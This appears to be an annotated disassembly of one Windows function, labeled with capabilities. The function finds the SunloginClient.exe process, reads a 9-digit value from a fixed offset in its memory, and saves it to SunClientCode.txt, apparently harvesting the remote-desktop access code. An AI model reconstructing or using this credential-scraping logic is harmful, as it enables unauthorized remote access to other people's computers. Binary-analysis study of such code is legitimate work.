Function at 0x140001130
Capabilities:
Enumerate processes
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x2c0
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x2b0], rax
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbp, rax
cmp rax, 0xffffffffffffffff
jne 0x140001186
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [0x140003338]
call fcn.140001010
jmp 0x14000124a
lea rdx, [rsp + 0x50]
mov dword [rsp + 0x50], 0x238
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
xor edi, edi
nop
lea rdx, str.SunloginClient.exe
lea rcx, [rsp + 0x7c]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x140001221
mov esi, dword [rsp + 0x58]
mov ecx, esi
call fcn.140001070
mov r8d, esi
xor edx, edx
mov ecx, 0x1fffff
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
xor ecx, ecx
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x2a0], rcx
lea r8, [rsp + 0x2a0]
mov word [rsp + 0x2a8], cx
lea rdx, [rbx + 0x27a1601]
lea rcx, [rsp + 0x38]
mov r9d, 9
mov qword [rsp + 0x20], rcx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
movzx eax, byte [rsp + 0x2a0]
sub al, 0x30
cmp al, 9
jbe 0x14000123c
lea rdx, [rsp + 0x50]
mov rcx, rbp
mov esi, 0xffffffff
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1400011a0
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, 0xffffffff
jne 0x1400012bc
mov byte [rsp + 0x30], 0x30
lea rdx, [0x140003390]
lea rcx, str.SunClientCode.txt
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rbx, rax
test rax, rax
jne 0x140001293
lea rdx, str.open_file_failed
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400013f0
mov rcx, rax
lea rdx, [0x1400015c0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400013ac
mov edx, 1
lea rcx, [rsp + 0x30]
mov r8d, edx
mov r9, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov eax, 0xffffffff
jmp 0x1400013ae
mov ecx, esi
call fcn.140001070
lea rcx, str.pProcessImageBase20x_p_n
mov rbx, rax
lea rdx, [rax + 0x27a1601]
call fcn.140001010
mov r8d, esi
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r9d, 9
mov qword [rsp + 0x40], rdi
mov rsi, rax
lea r8, [rsp + 0x290]
xor eax, eax
lea rdx, [rbx + 0x27a1601]
mov qword [rsp + 0x290], rax
mov rcx, rsi
mov word [rsp + 0x298], ax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x140001340
lea rdx, str.ReadProcessMemory_failed
jmp 0x140001272
movzx ecx, byte [rsp + rdi + 0x290]
lea eax, [rcx - 0x30]
cmp al, 9
jbe 0x140001357
test cl, cl
jne 0x1400013d7
inc rdi
cmp rdi, 0xa
jl 0x140001340
lea rdx, [0x140003390]
lea rcx, str.SunClientCode.txt
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rbx, rax
test rax, rax
je 0x14000126b
mov edx, 1
lea rcx, [rsp + 0x290]
mov r9, rax
lea r8d, [rdx + 8]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rsp + 0x2b0]
xor rcx, rsp
call fcn.140001680
lea r11, [rsp + 0x2c0]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
mov byte [rsp + 0x30], 0x31
jmp 0x14000124f